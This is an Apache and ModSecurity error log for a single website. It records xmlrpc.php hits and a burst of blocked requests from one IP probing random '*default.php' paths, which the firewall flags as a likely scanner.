[Sun Apr 05 17:33:09.530334 2026] [proxy_fcgi:error] [pid 45303:tid 45337] [client 113.186.139.162:64843] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 19:25:48.603382 2026] [:error] [pid 45305:tid 45371] [client 49.43.217.190:50777] [client 49.43.217.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.217.190, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adJGvOjDQjr7aWhjflAwuwAAAIA"]
[Sun Apr 05 19:25:48.613917 2026] [proxy_fcgi:error] [pid 45305:tid 45371] [client 49.43.217.190:50777] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 20:12:06.035666 2026] [:error] [pid 45409:tid 45424] [client 95.235.211.231:59911] [client 95.235.211.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.235.211.231, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adJRltHt_Oyw03gjCNjJPQAAAM0"]
[Sun Apr 05 20:12:06.047899 2026] [proxy_fcgi:error] [pid 45409:tid 45424] [client 95.235.211.231:59911] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 21:05:52.457060 2026] [:error] [pid 45304:tid 45354] [client 37.79.25.102:3184] [client 37.79.25.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.79.25.102, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adJeMA5jnqDKKovdRkkTZQAAAEo"]
[Sun Apr 05 21:05:52.468557 2026] [proxy_fcgi:error] [pid 45304:tid 45354] [client 37.79.25.102:3184] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:57.648345 2026] [proxy_fcgi:error] [pid 45304:tid 45363] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:57.897356 2026] [proxy_fcgi:error] [pid 45304:tid 45345] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:58.141928 2026] [proxy_fcgi:error] [pid 45304:tid 45366] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:58.386461 2026] [proxy_fcgi:error] [pid 45304:tid 45347] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:58.629965 2026] [proxy_fcgi:error] [pid 45304:tid 45356] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:58.879407 2026] [proxy_fcgi:error] [pid 45304:tid 45365] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:59.123451 2026] [proxy_fcgi:error] [pid 45304:tid 45361] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:59.367935 2026] [proxy_fcgi:error] [pid 45304:tid 45350] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:59.628408 2026] [proxy_fcgi:error] [pid 45304:tid 45359] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:01:59.872222 2026] [proxy_fcgi:error] [pid 45304:tid 45367] [client 68.221.134.12:21487] AH01071: Got error 'Primary script unknown'
[Sun Apr 05 22:02:00.112822 2026] [:error] [pid 45304:tid 45344] [client 68.221.134.12:21487] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adJrWA5jnqDKKovdRkkkBgAAAEA"]
[Sun Apr 05 22:02:00.600449 2026] [:error] [pid 30921:tid 30926] [client 68.221.134.12:21442] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adJrWGFGQVn8Q0ueB24uoAAAAQM"]
[Sun Apr 05 22:02:01.108337 2026] [:error] [pid 45305:tid 45386] [client 68.221.134.12:21461] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adJrWejDQjr7aWhjflBqnwAAAI8"]
[Sun Apr 05 22:02:01.612413 2026] [:error] [pid 45304:tid 45346] [client 68.221.134.12:21449] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adJrWQ5jnqDKKovdRkkkCQAAAEI"]
[Sun Apr 05 22:02:02.142515 2026] [:error] [pid 45304:tid 45363] [client 68.221.134.12:21474] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adJrWg5jnqDKKovdRkkkCwAAAFM"]
[Sun Apr 05 22:02:02.695192 2026] [:error] [pid 45304:tid 45347] [client 68.221.134.12:21465] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adJrWg5jnqDKKovdRkkkDQAAAEM"]
[Sun Apr 05 22:02:03.183866 2026] [:error] [pid 30921:tid 30930] [client 68.221.134.12:21475] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adJrW2FGQVn8Q0ueB24uogAAAQc"]
[Sun Apr 05 22:02:03.672171 2026] [:error] [pid 45304:tid 45362] [client 68.221.134.12:21451] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adJrWw5jnqDKKovdRkkkEgAAAFI"]
[Sun Apr 05 22:02:04.166732 2026] [:error] [pid 45305:tid 45387] [client 68.221.134.12:21393] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adJrXOjDQjr7aWhjflBqowAAAJA"]
[Sun Apr 05 22:02:04.878063 2026] [:error] [pid 30921:tid 30946] [client 68.221.134.12:21453] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adJrXGFGQVn8Q0ueB24uqQAAARc"]
[Sun Apr 05 22:02:05.367415 2026] [:error] [pid 30921:tid 30938] [client 68.221.134.12:21485] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adJrXWFGQVn8Q0ueB24urQAAAQ8"]
[Sun Apr 05 22:02:05.850995 2026] [:error] [pid 45304:tid 45357] [client 68.221.134.12:21410] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "adJrXQ5jnqDKKovdRkkkGQAAAE0"]
[Sun Apr 05 22:02:06.348353 2026] [:error] [pid 45304:tid 45356] [client 68.221.134.12:21404] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adJrXg5jnqDKKovdRkkkGwAAAEw"]
[Sun Apr 05 22:02:06.849653 2026] [:error] [pid 45305:tid 45388] [client 68.221.134.12:21497] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adJrXujDQjr7aWhjflBqqQAAAJE"]
[Sun Apr 05 22:02:07.331151 2026] [:error] [pid 45305:tid 45387] [client 68.221.134.12:21391] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adJrX-jDQjr7aWhjflBqrAAAAJA"]
[Sun Apr 05 22:02:07.882962 2026] [:error] [pid 45303:tid 45337] [client 68.221.134.12:21459] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adJrX7boQ9eViZ4hdnlWUwAAABQ"]
[Sun Apr 05 22:02:08.396843 2026] [:error] [pid 30921:tid 30925] [client 68.221.134.12:21456] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "adJrYGFGQVn8Q0ueB24usAAAAQI"]
[Sun Apr 05 22:02:08.888554 2026] [:error] [pid 30921:tid 30938] [client 68.221.134.12:21472] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "adJrYGFGQVn8Q0ueB24uswAAAQ8"]
[Sun Apr 05 22:02:09.395306 2026] [:error] [pid 45409:tid 45425] [client 68.221.134.12:21447] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "adJrYdHt_Oyw03gjCNgkAwAAAM4"]
[Sun Apr 05 22:02:09.879736 2026] [:error] [pid 45305:tid 45385] [client 68.221.134.12:21448] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nhj6t74aqmkde3hgpCdefault.php"] [unique_id "adJrYejDQjr7aWhjflBqtAAAAI4"]
[Sun Apr 05 22:02:10.375889 2026] [:error] [pid 45304:tid 45345] [client 68.221.134.12:21445] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adJrYg5jnqDKKovdRkkkJwAAAEE"]
[Sun Apr 05 22:02:10.965660 2026] [:error] [pid 45305:tid 45383] [client 68.221.134.12:21429] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adJrYujDQjr7aWhjflBquAAAAIw"]
[Sun Apr 05 22:02:11.482370 2026] [:error] [pid 45305:tid 45373] [client 68.221.134.12:21490] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adJrY-jDQjr7aWhjflBquwAAAII"]
[Sun Apr 05 22:02:12.014697 2026] [:error] [pid 45305:tid 45377] [client 68.221.134.12:21386] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adJrZOjDQjr7aWhjflBqvAAAAIY"]
[Sun Apr 05 22:02:12.503039 2026] [:error] [pid 30921:tid 30929] [client 68.221.134.12:21482] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adJrZGFGQVn8Q0ueB24uvQAAAQY"]
[Sun Apr 05 22:02:12.991914 2026] [:error] [pid 30921:tid 30945] [client 68.221.134.12:21476] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adJrZGFGQVn8Q0ueB24uwQAAARY"]
[Sun Apr 05 22:02:13.483432 2026] [:error] [pid 30921:tid 30933] [client 68.221.134.12:21389] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adJrZWFGQVn8Q0ueB24uwgAAAQo"]
[Sun Apr 05 22:02:14.005016 2026] [:error] [pid 30921:tid 30926] [client 68.221.134.12:21388] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adJrZmFGQVn8Q0ueB24uxQAAAQM"]
[Sun Apr 05 22:02:14.510425 2026] [:error] [pid 30921:tid 30937] [client 68.221.134.12:21384] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "adJrZmFGQVn8Q0ueB24uywAAAQ4"]
[Sun Apr 05 22:02:15.120069 2026] [:error] [pid 30921:tid 30933] [client 68.221.134.12:21464] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "adJrZ2FGQVn8Q0ueB24uzgAAAQo"]
[Sun Apr 05 22:02:15.611352 2026] [:error] [pid 30921:tid 30939] [client 68.221.134.12:21387] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "adJrZ2FGQVn8Q0ueB24u0QAAARA"]
[Sun Apr 05 22:02:16.114672 2026] [:error] [pid 45304:tid 45348] [client 68.221.134.12:21483] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/JKydQumkIarjMJ4default.php"] [unique_id "adJraA5jnqDKKovdRkkkLAAAAEQ"]
[Sun Apr 05 22:02:16.599146 2026] [:error] [pid 45409:tid 45428] [client 68.221.134.12:21434] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adJraNHt_Oyw03gjCNgkDgAAANE"]
[Sun Apr 05 22:02:17.076684 2026] [:error] [pid 45303:tid 45324] [client 68.221.134.12:21318] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adJrabboQ9eViZ4hdnlWXQAAAAc"]
[Sun Apr 05 22:02:17.620148 2026] [:error] [pid 45304:tid 45368] [client 68.221.134.12:21470] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adJraQ5jnqDKKovdRkkkLgAAAFg"]
[Sun Apr 05 22:02:18.132941 2026] [:error] [pid 45303:tid 45340] [client 68.221.134.12:21503] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adJrarboQ9eViZ4hdnlWYAAAABc"]
[Sun Apr 05 22:02:18.633555 2026] [:error] [pid 45409:tid 45412] [client 68.221.134.12:21500] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adJratHt_Oyw03gjCNgkEQAAAME"]
[Sun Apr 05 22:02:19.116648 2026] [:error] [pid 45305:tid 45386] [client 68.221.134.12:21376] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adJra-jDQjr7aWhjflBqxwAAAI8"]
[Sun Apr 05 22:02:19.622043 2026] [:error] [pid 45304:tid 45352] [client 68.221.134.12:21495] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adJraw5jnqDKKovdRkkkNQAAAEg"]
[Sun Apr 05 22:02:20.104152 2026] [:error] [pid 45304:tid 45349] [client 68.221.134.12:21351] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adJrbA5jnqDKKovdRkkkNgAAAEU"]
[Sun Apr 05 22:02:20.617110 2026] [:error] [pid 45304:tid 45355] [client 68.221.134.12:21471] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adJrbA5jnqDKKovdRkkkNwAAAEs"]
[Sun Apr 05 22:02:21.108695 2026] [:error] [pid 45304:tid 45348] [client 68.221.134.12:21379] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adJrbQ5jnqDKKovdRkkkOQAAAEQ"]
[Sun Apr 05 22:02:21.623084 2026] [:error] [pid 45304:tid 45361] [client 68.221.134.12:21502] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adJrbQ5jnqDKKovdRkkkOgAAAFE"]
[Sun Apr 05 22:02:22.100727 2026] [:error] [pid 45304:tid 45345] [client 68.221.134.12:21345] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oLEzRVqmJJPFSucdefault.php"] [unique_id "adJrbg5jnqDKKovdRkkkOwAAAEE"]
[Sun Apr 05 22:02:22.614061 2026] [:error] [pid 45304:tid 45366] [client 68.221.134.12:21469] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adJrbg5jnqDKKovdRkkkQQAAAFY"]
[Sun Apr 05 22:02:23.104355 2026] [:error] [pid 45304:tid 45346] [client 68.221.134.12:21498] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adJrbw5jnqDKKovdRkkkRAAAAEI"]
